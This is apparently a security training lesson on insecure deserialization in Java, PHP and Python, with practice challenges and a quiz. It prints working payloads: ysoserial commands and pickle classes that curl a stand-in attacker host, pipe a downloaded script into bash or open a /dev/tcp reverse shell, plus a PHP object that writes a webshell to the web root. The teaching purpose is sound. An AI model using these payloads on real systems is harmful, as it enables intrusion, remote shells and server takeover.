Insecure Deserialization

advanced45 minWriteup

Exploiting object deserialization for RCE

Learning Objectives

  • Understand serialization/deserialization
  • Identify insecure deserialization
  • Exploit Java deserialization
  • Exploit PHP object injection

The Art of Turning Data Into Weapons

Imagine you could send someone a package that, when opened, automatically runs any program you want on their computer. That's essentially what insecure deserialization allows - except the "package" is serialized data, and the "program" is arbitrary code execution on the server.

Serialization converts objects into a format that can be stored or transmitted (like JSON, XML, or binary). Deserialization does the reverse - it reconstructs objects from that data. The problem? If an application deserializes untrusted data, attackers can craft malicious objects that execute code when reconstructed.

Insecure deserialization is #8 on the OWASP Top 10 and often leads directly to Remote Code Execution. It's been responsible for major breaches including the 2017 Equifax hack.

Serialization 101

Before we break it, let's understand it. Serialization is how applications save complex data structures:

Common Serialization Formats

1FORMAT LANGUAGE SECURITY RISK
2─────────────────────────────────────────────────────
3Java Serialized Java CRITICAL - RCE common
4PHP Serialized PHP HIGH - Object injection
5Python Pickle Python CRITICAL - RCE by design
6.NET Binary C606070;">#/.NET CRITICAL - RCE possible
7Ruby Marshal Ruby CRITICAL - RCE possible
8YAML (unsafe) Many HIGH - Code execution
9JSON Many LOW - No code execution*
10 
11*JSON is safe because it only stores data, not code/objects

Java Serialization Example

java
1606070;">// Creating and serializing an object
2User user = new User(606070;">#a5d6ff;">"admin", "secret123");
3 
4606070;">// Serialize to bytes
5ByteArrayOutputStream bos = new ByteArrayOutputStream();
6ObjectOutputStream out = new ObjectOutputStream(bos);
7out.writeObject(user);
8byte[] serialized = bos.toByteArray();
9 
10606070;">// The bytes start with: AC ED 00 05 (Java magic bytes)
11606070;">// Base64: rO0AB... (common identifier)
12 
13606070;">// Deserialize back to object
14ObjectInputStream in = new ObjectInputStream(
15 new ByteArrayInputStream(serialized));
16User restored = (User) in.readObject(); 606070;">// DANGER!

PHP Serialization Example

php
1<?php
2606070;">// PHP serialized format
3class User {
4 public $name = 606070;">#a5d6ff;">"admin";
5 public $role = 606070;">#a5d6ff;">"user";
6}
7 
8$user = new User();
9$serialized = serialize($user);
10606070;">// Output: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
11 
12606070;">// Deserialize
13$restored = unserialize($serialized); 606070;">// DANGER!
14?>

Python Pickle Example

python
1import pickle
2 
3class User:
4 def __init__(self, name):
5 self.name = name
6 
7user = User(606070;">#a5d6ff;">"admin")
8serialized = pickle.dumps(user) 606070;"># Binary format
9 
10606070;"># Deserialize
11restored = pickle.loads(serialized) 606070;"># DANGER!
12 
13606070;"># Pickle is DESIGNED to execute code during deserialization
14606070;"># The __reduce__ method can return arbitrary functions to call
Look for these identifiers in cookies, POST data, or headers:
• Java: Base64 starting with rO0AB or hex AC ED 00 05
• PHP: Strings like O:4:"User" or a:2:{s:4:
• Python Pickle: Base64 binary blobs in cookies

Why Deserialization = RCE

The magic happens because many languages allow objects to have special methods that run automatically during deserialization:

1LANGUAGE MAGIC METHOD WHEN IT RUNS
2──────────────────────────────────────────────────────────
3Java readObject() During deserialization
4PHP __wakeup() During deserialization
5PHP __destruct() When object is destroyed
6Python __reduce__() Defines how to unpickle
7Ruby marshal_load() During deserialization
8.NET OnDeserialized() After deserialization
9 
10ATTACK CONCEPT:
111. Attacker finds classes with dangerous magic methods
122. These classes call other methods in a chain
133. The chain ends with something dangerous (Runtime.exec())
144. Attacker crafts serialized object using this 606070;">#a5d6ff;">"gadget chain"
155. Server deserializes → chain executes → RCE!

Gadget Chains Explained

1Think of it like a Rube Goldberg machine:
2 
3ObjectA.readObject()
4 ↓ calls
5ObjectB.someMethod()
6 ↓ calls
7ObjectC.anotherMethod()
8 ↓ calls
9Runtime.exec(606070;">#a5d6ff;">"malicious command")
10 
11Each object is a 606070;">#a5d6ff;">"gadget"
12The full sequence is a 606070;">#a5d6ff;">"gadget chain"
13Tools like ysoserial generate these automatically

Java Deserialization Attacks

Identifying Java Serialized Data

1MAGIC BYTES (Hex): AC ED 00 05
2BASE64 PREFIX: rO0AB...
3 
4COMMON LOCATIONS:
5• Cookies (especially ViewState, JSESSIONID, custom cookies)
6• Hidden form fields
7• API parameters
8• JMX/RMI services
9• Custom protocols
10 
11DETECTION:
12echo 606070;">#a5d6ff;">"rO0AB..." | base64 -d | xxd | head
13606070;"># Should show: aced 0005 (Java serialization magic)

Exploitation with ysoserial

bash
1606070;"># ysoserial generates serialized payloads for known gadget chains
2 
3606070;"># List available gadget chains
4java -jar ysoserial.jar
5 
6606070;"># Generate payload for CommonsCollections1 chain
7java -jar ysoserial.jar CommonsCollections1 606070;">#a5d6ff;">'curl http://attacker.com/pwned' | base64
8 
9606070;"># Common chains to try:
10606070;"># - CommonsCollections1-7 (Apache Commons Collections)
11606070;"># - Spring1, Spring2 (Spring Framework)
12606070;"># - Hibernate1, Hibernate2 (Hibernate ORM)
13606070;"># - JRMPClient (triggers outbound connection)
14606070;"># - URLDNS (DNS lookup - good for detection)
15 
16606070;"># Detection payload (safe - just DNS lookup)
17java -jar ysoserial.jar URLDNS 606070;">#a5d6ff;">"http://YOUR-BURP-COLLABORATOR.net" | base64

Blind Exploitation

bash
1606070;"># If you can't see output, use out-of-band techniques:
2 
3606070;"># DNS-based detection
4java -jar ysoserial.jar URLDNS 606070;">#a5d6ff;">"http://callback.YOUR-SERVER.com"
5 
6606070;"># HTTP callback
7java -jar ysoserial.jar CommonsCollections1 606070;">#a5d6ff;">'curl http://YOUR-SERVER/pwned'
8 
9606070;"># Reverse shell
10java -jar ysoserial.jar CommonsCollections1 606070;">#a5d6ff;">'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
11 
12606070;"># Sleep-based detection
13java -jar ysoserial.jar CommonsCollections1 606070;">#a5d6ff;">'sleep 10'
14606070;"># If response takes 10 seconds, it worked!
Not all applications have vulnerable libraries. ysoserial only works if the target has the corresponding library (Commons Collections, Spring, etc.) in its classpath.

PHP Object Injection

Understanding PHP Serialization

php
1<?php
2606070;">// PHP serialization format:
3606070;">// O:ClassName:NumProperties:{properties}
4606070;">// a:NumElements:{array elements}
5606070;">// s:Length:"string"
6606070;">// i:number
7606070;">// b:0 or b:1 (boolean)
8 
9O:4:606070;">#a5d6ff;">"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}
10│ │ │ │ │
11│ │ │ │ └── property value
12│ │ │ └── property name
13│ │ └── number of properties
14│ └── class name length and name
15└── Object type
16 
17606070;">// Modify the serialized string = modify the object!
18?>

PHP Magic Methods for Exploitation

php
1<?php
2class VulnerableClass {
3 public $logFile;
4 public $data;
5 
6 606070;">// Called when object is destroyed
7 function __destruct() {
8 file_put_contents($this->logFile, $this->data);
9 }
10}
11 
12606070;">// Normal usage
13$obj = new VulnerableClass();
14$obj->logFile = 606070;">#a5d6ff;">"/var/log/app.log";
15$obj->data = 606070;">#a5d6ff;">"User logged in";
16606070;">// When script ends, writes to log file
17 
18606070;">// ATTACK: Craft malicious serialized object
19$payload = 606070;">#a5d6ff;">'O:15:"VulnerableClass":2:{s:7:"logFile";s:23:"/var/www/html/shell.php";s:4:"data";s:29:"<?php system($_GET["cmd"]); ?>";}';
20 
21606070;">// When unserialize($payload) runs and script ends...
22606070;">// __destruct() writes webshell to /var/www/html/shell.php!
23?>

POP Chains (Property Oriented Programming)

php
1<?php
2606070;">// Sometimes you need to chain multiple classes
3 
4class Logger {
5 public $handler;
6 
7 function __destruct() {
8 $this->handler->close(); 606070;">// Calls close() on handler
9 }
10}
11 
12class CommandHandler {
13 public $command;
14 
15 function close() {
16 system($this->command); 606070;">// Executes command!
17 }
18}
19 
20606070;">// Payload: Logger -> CommandHandler chain
21606070;">// Logger.__destruct() calls CommandHandler.close()
22606070;">// Which calls system() with our command!
23 
24$evil = new Logger();
25$evil->handler = new CommandHandler();
26$evil->handler->command = 606070;">#a5d6ff;">"id";
27 
28$payload = serialize($evil);
29606070;">// O:6:"Logger":1:{s:7:"handler";O:14:"CommandHandler":1:{s:7:"command";s:2:"id";}}
30?>
Tool: PHPGGC (PHP Generic Gadget Chains) is like ysoserial but for PHP. It generates payloads for popular frameworks like Laravel, Symfony, WordPress, etc.

Python Pickle Attacks

Pickle is Dangerous by Design

python
1import pickle
2import os
3 
4606070;"># Pickle allows defining HOW to reconstruct objects
5606070;"># The __reduce__ method returns a function + args to call
6 
7class Evil:
8 def __reduce__(self):
9 606070;"># When unpickled, this calls os.system("id")
10 return (os.system, (606070;">#a5d6ff;">"id",))
11 
12606070;"># Generate malicious pickle
13payload = pickle.dumps(Evil())
14 
15606070;"># When victim runs:
16pickle.loads(payload)
17606070;"># Output: uid=0(root) gid=0(root) groups=0(root)

Common Pickle Payloads

python
1import pickle
2import base64
3import os
4 
5606070;"># Basic command execution
6class RCE:
7 def __reduce__(self):
8 return (os.system, (606070;">#a5d6ff;">'curl http://attacker.com/shell.sh | bash',))
9 
10606070;"># Reverse shell
11class ReverseShell:
12 def __reduce__(self):
13 import socket, subprocess
14 return (subprocess.call, ([606070;">#a5d6ff;">'/bin/bash', '-c',
15 606070;">#a5d6ff;">'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'],))
16 
17606070;"># Generate base64 payload for cookie injection
18payload = base64.b64encode(pickle.dumps(RCE())).decode()
19print(payload)
20 
21606070;"># More stealthy - use eval
22class Stealthy:
23 def __reduce__(self):
24 return (eval, (606070;">#a5d6ff;">"__import__('os').system('id')",))
Python docs literally say: "Warning: The pickle module is not secure. Only unpickle data you trust." Yet developers still use it for cookies and APIs.

Finding Deserialization Vulnerabilities

Hunting Methodology

1
Identify Serialized Data
  • Look for Base64 in cookies, POST params, headers
  • Java: starts with rO0AB
  • PHP: contains O: or a: patterns
  • Check ViewState, hidden fields, API responses
2
Decode and Analyze
  • Base64 decode the data
  • Identify the format (Java, PHP, Python, etc.)
  • Look for class names and properties
3
Test for Vulnerability
  • Modify simple values and see if changes persist
  • Try invalid data - does it error?
  • Use detection payloads (URLDNS, sleep)
4
Identify Available Libraries
  • Error messages may reveal frameworks
  • Check for Commons Collections, Spring, etc.
  • Try different gadget chains
5
Exploit
  • Generate payload with ysoserial/PHPGGC
  • Replace serialized data with payload
  • Trigger deserialization

Detection Techniques

1SAFE DETECTION (won't cause damage):
2────────────────────────────────────
3 
4Java - DNS lookup:
5java -jar ysoserial.jar URLDNS 606070;">#a5d6ff;">"http://UNIQUE-ID.your-server.com"
6→ Check DNS logs for the unique ID
7 
8Java - Sleep:
9java -jar ysoserial.jar CommonsCollections1 606070;">#a5d6ff;">"sleep 10"
10→ If response takes 10s, vulnerable
11 
12PHP - Error-based:
13O:9:606070;">#a5d6ff;">"NotExists":0:{}
14→ Class not found error reveals deserialization
15 
16Python - DNS lookup:
17import pickle, base64
18class DNS:
19 def __reduce__(self):
20 return (__import__(606070;">#a5d6ff;">'os').system, ('nslookup unique.your-server.com',))
21base64.b64encode(pickle.dumps(DNS()))

Practice Challenges

PHP Cookie Injection

Challenge
🔥 medium

A web application stores user preferences in a cookie: Cookie: prefs=Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NDoicm9sZSI7czo0OiJ1c2VyIjt9 After base64 decoding: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} You find that the application has a LogWriter class: class LogWriter { public $logFile; public $logData; function __destruct() { file_put_contents($this->logFile, $this->logData); } } Write a webshell to /var/www/html/shell.php

Need a hint? (4 available)

Java Blind RCE

Challenge
🔥 medium

A Java application has an API endpoint: POST /api/import Content-Type: application/octet-stream [binary data] You notice the binary data starts with 0xACED (Java serialization magic). The server returns only {"status": "processed"} regardless of input. You have no direct output, but you control a server at attacker.com. Prove RCE exists and execute commands.

Need a hint? (4 available)

Python Cookie Pickle

Challenge
🔥 medium

A Flask application uses this code for session handling: @app.route('/dashboard') def dashboard(): user_data = request.cookies.get('session') if user_data: user = pickle.loads(base64.b64decode(user_data)) return f"Welcome {user.name}!" return "Not logged in" You're logged in and your cookie is: session=gASVGwAAAAAAAACMBF9fbWFpbl9flIwEVXNlcpSTlCmBlH0= Achieve command execution.

Need a hint? (4 available)

Knowledge Check

Deserialization Quiz
Question 1 of 5

What makes deserialization vulnerabilities so dangerous?

Key Takeaways

  • Deserialization = potential RCE in Java, PHP, Python, Ruby, and .NET applications
  • Magic methods (readObject, __destruct, __reduce__) execute automatically during deserialization
  • Gadget chains link existing classes to achieve code execution
  • Detection: Look for rO0AB (Java), O: (PHP), or binary blobs in cookies/parameters
  • Tools: ysoserial (Java), PHPGGC (PHP), custom scripts (Python)
  • Defense: Never deserialize untrusted data, use JSON instead, implement integrity checks

Related Lessons